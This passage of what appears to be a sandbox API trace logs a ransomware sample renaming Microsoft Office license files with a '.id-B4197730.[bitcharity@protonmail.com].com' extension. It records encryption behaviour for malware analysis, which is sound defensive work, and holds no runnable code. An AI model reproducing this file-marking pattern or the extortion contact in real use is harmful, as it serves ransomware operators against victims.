dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0253.027] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0253.369] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdCO365R_SubTrial-ul-oob.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectstdco365r_subtrial-ul-oob.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.369] CloseHandle (hObject=0x1280) returned 1 [0253.369] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdCO365R_SubTrial-ul-oob.xrm-ms") returned 89 [0253.369] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectStdCO365R_SubTrial-ul-oob.xrm-ms") returned 89 [0253.369] lstrlenW (lpString=".doc") returned 4 [0253.370] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0253.370] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0253.370] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusR_Trial2-ppd.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\proplusr_trial2-ppd.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.371] CloseHandle (hObject=0x1280) returned 1 [0253.371] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusR_Trial2-ppd.xrm-ms") returned 76 [0253.371] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusR_Trial2-ppd.xrm-ms") returned 76 [0253.371] lstrlenW (lpString=".doc") returned 4 [0253.372] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0253.372] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0253.372] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusR_Trial2-ul-oob.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\proplusr_trial2-ul-oob.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.372] CloseHandle (hObject=0x1280) returned 1 [0253.373] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusR_Trial2-ul-oob.xrm-ms") returned 79 [0253.373] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusR_Trial2-ul-oob.xrm-ms") returned 79 [0253.373] lstrlenW (lpString=".doc") returned 4 [0253.374] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0253.374] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0253.374] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusVL_KMS_Client-ppd.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\proplusvl_kms_client-ppd.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.374] CloseHandle (hObject=0x1280) returned 1 [0253.375] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusVL_KMS_Client-ppd.xrm-ms") returned 81 [0253.375] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusVL_KMS_Client-ppd.xrm-ms") returned 81 [0253.375] lstrlenW (lpString=".doc") returned 4 [0253.376] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0253.376] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0253.376] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusVL_KMS_Client-ul-oob.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\proplusvl_kms_client-ul-oob.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.377] CloseHandle (hObject=0x1280) returned 1 [0253.377] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusVL_KMS_Client-ul-oob.xrm-ms") returned 84 [0253.377] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusVL_KMS_Client-ul-oob.xrm-ms") returned 84 [0253.377] lstrlenW (lpString=".doc") returned 4 [0253.378] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0253.378] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0253.378] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusVL_KMS_Client-ul.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\proplusvl_kms_client-ul.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.378] CloseHandle (hObject=0x1280) returned 1 [0253.379] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusVL_KMS_Client-ul.xrm-ms") returned 80 [0253.379] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusVL_KMS_Client-ul.xrm-ms") returned 80 [0253.379] lstrlenW (lpString=".doc") returned 4 [0253.380] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0253.380] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0253.380] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusVL_MAK-pl.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\proplusvl_mak-pl.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.380] CloseHandle (hObject=0x1280) returned 1 [0253.380] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusVL_MAK-pl.xrm-ms") returned 73 [0253.380] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusVL_MAK-pl.xrm-ms") returned 73 [0253.381] lstrlenW (lpString=".doc") returned 4 [0253.381] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0253.381] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0253.382] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusVL_MAK-ppd.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\proplusvl_mak-ppd.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.382] CloseHandle (hObject=0x1280) returned 1 [0253.382] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusVL_MAK-ppd.xrm-ms") returned 74 [0253.382] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusVL_MAK-ppd.xrm-ms") returned 74 [0253.382] lstrlenW (lpString=".doc") returned 4 [0253.383] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0253.383] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0253.383] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusVL_MAK-ul-oob.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\proplusvl_mak-ul-oob.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.383] CloseHandle (hObject=0x1280) returned 1 [0253.384] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusVL_MAK-ul-oob.xrm-ms") returned 77 [0253.385] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusVL_MAK-ul-oob.xrm-ms") returned 77 [0253.385] lstrlenW (lpString=".doc") returned 4 [0253.385] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0253.385] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0253.386] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusVL_MAK-ul-phn.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\proplusvl_mak-ul-phn.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.386] CloseHandle (hObject=0x1280) returned 1 [0253.386] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusVL_MAK-ul-phn.xrm-ms") returned 77 [0253.386] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusVL_MAK-ul-phn.xrm-ms") returned 77 [0253.386] lstrlenW (lpString=".doc") returned 4 [0253.387] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0253.387] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0253.387] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PublisherR_Grace-ppd.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\publisherr_grace-ppd.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.387] CloseHandle (hObject=0x1280) returned 1 [0253.388] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PublisherR_Grace-ppd.xrm-ms") returned 77 [0253.388] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PublisherR_Grace-ppd.xrm-ms") returned 77 [0253.388] lstrlenW (lpString=".doc") returned 4 [0253.389] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0253.389] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0253.389] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PublisherR_Grace-ul-oob.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\publisherr_grace-ul-oob.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.389] CloseHandle (hObject=0x1280) returned 1 [0253.390] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PublisherR_Grace-ul-oob.xrm-ms") returned 80 [0253.390] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PublisherR_Grace-ul-oob.xrm-ms") returned 80 [0253.390] lstrlenW (lpString=".doc") returned 4 [0253.391] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0253.391] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0253.391] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PublisherR_OEM_Perp-pl.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\publisherr_oem_perp-pl.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.392] CloseHandle (hObject=0x1280) returned 1 [0253.392] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PublisherR_OEM_Perp-pl.xrm-ms") returned 79 [0253.392] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PublisherR_OEM_Perp-pl.xrm-ms") returned 79 [0253.392] lstrlenW (lpString=".doc") returned 4 [0253.393] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0253.393] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0253.393] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PublisherR_OEM_Perp-ppd.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\publisherr_oem_perp-ppd.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.393] CloseHandle (hObject=0x1280) returned 1 [0253.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PublisherR_OEM_Perp-ppd.xrm-ms") returned 80 [0253.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PublisherR_OEM_Perp-ppd.xrm-ms") returned 80 [0253.394] lstrlenW (lpString=".doc") returned 4 [0253.394] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0253.394] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0253.394] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PublisherR_OEM_Perp-ul-oob.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\publisherr_oem_perp-ul-oob.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.395] CloseHandle (hObject=0x1280) returned 1 [0253.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PublisherR_OEM_Perp-ul-oob.xrm-ms") returned 83 [0253.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PublisherR_OEM_Perp-ul-oob.xrm-ms") returned 83 [0253.395] lstrlenW (lpString=".doc") returned 4 [0253.396] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0253.396] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0253.396] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PublisherR_OEM_Perp-ul-phn.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\publisherr_oem_perp-ul-phn.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.396] CloseHandle (hObject=0x1280) returned 1 [0253.397] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PublisherR_OEM_Perp-ul-phn.xrm-ms") returned 83 [0253.397] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PublisherR_OEM_Perp-ul-phn.xrm-ms") returned 83 [0253.397] lstrlenW (lpString=".doc") returned 4 [0253.397] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0253.397] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0253.398] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PublisherR_Retail-pl.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\publisherr_retail-pl.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.398] CloseHandle (hObject=0x1280) returned 1 [0253.398] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PublisherR_Retail-pl.xrm-ms") returned 77 [0253.398] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PublisherR_Retail-pl.xrm-ms") returned 77 [0253.398] lstrlenW (lpString=".doc") returned 4 [0253.399] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0253.399] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0253.399] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PublisherR_Retail-ppd.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\publisherr_retail-ppd.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.400] CloseHandle (hObject=0x1280) returned 1 [0253.400] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PublisherR_Retail-ppd.xrm-ms") returned 78 [0253.401] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PublisherR_Retail-ppd.xrm-ms") returned 78 [0253.401] lstrlenW (lpString=".doc") returned 4 [0253.404] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0253.404] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0253.404] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PublisherR_Retail-ul-oob.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\publisherr_retail-ul-oob.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.404] CloseHandle (hObject=0x1280) returned 1 [0253.405] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PublisherR_Retail-ul-oob.xrm-ms") returned 81 [0253.405] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PublisherR_Retail-ul-oob.xrm-ms") returned 81 [0253.405] lstrlenW (lpString=".doc") returned 4 [0253.405] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0253.405] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0253.406] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PublisherR_Retail-ul-phn.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\publisherr_retail-ul-phn.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.406] CloseHandle (hObject=0x1280) returned 1 [0253.406] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PublisherR_Retail-ul-phn.xrm-ms") returned 81 [0253.406] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PublisherR_Retail-ul-phn.xrm-ms") returned 81 [0253.406] lstrlenW (lpString=".doc") returned 4 [0253.407] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0253.407] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0253.407] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PublisherR_Trial-pl.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\publisherr_trial-pl.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.407] CloseHandle (hObject=0x1280) returned 1 [0253.408] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PublisherR_Trial-pl.xrm-ms") returned 76 [0253.408] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PublisherR_Trial-pl.xrm-ms") returned 76 [0253.408] lstrlenW (lpString=".doc") returned 4 [0253.409] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0253.409] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0253.409] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PublisherR_Trial-ppd.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\publisherr_trial-ppd.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.409] CloseHandle (hObject=0x1280) returned 1 [0253.409] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PublisherR_Trial-ppd.xrm-ms") returned 77 [0253.409] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PublisherR_Trial-ppd.xrm-ms") returned 77 [0253.410] lstrlenW (lpString=".doc") returned 4 [0253.410] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0253.410] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0253.410] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PublisherR_Trial-ul-oob.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\publisherr_trial-ul-oob.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.634] CloseHandle (hObject=0x1280) returned 1 [0253.635] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PublisherR_Trial-ul-oob.xrm-ms") returned 80 [0253.635] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\PublisherR_Trial-ul-oob.xrm-ms") returned 80 [0253.635] lstrlenW (lpString=".doc") returned 4 [0253.635] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: 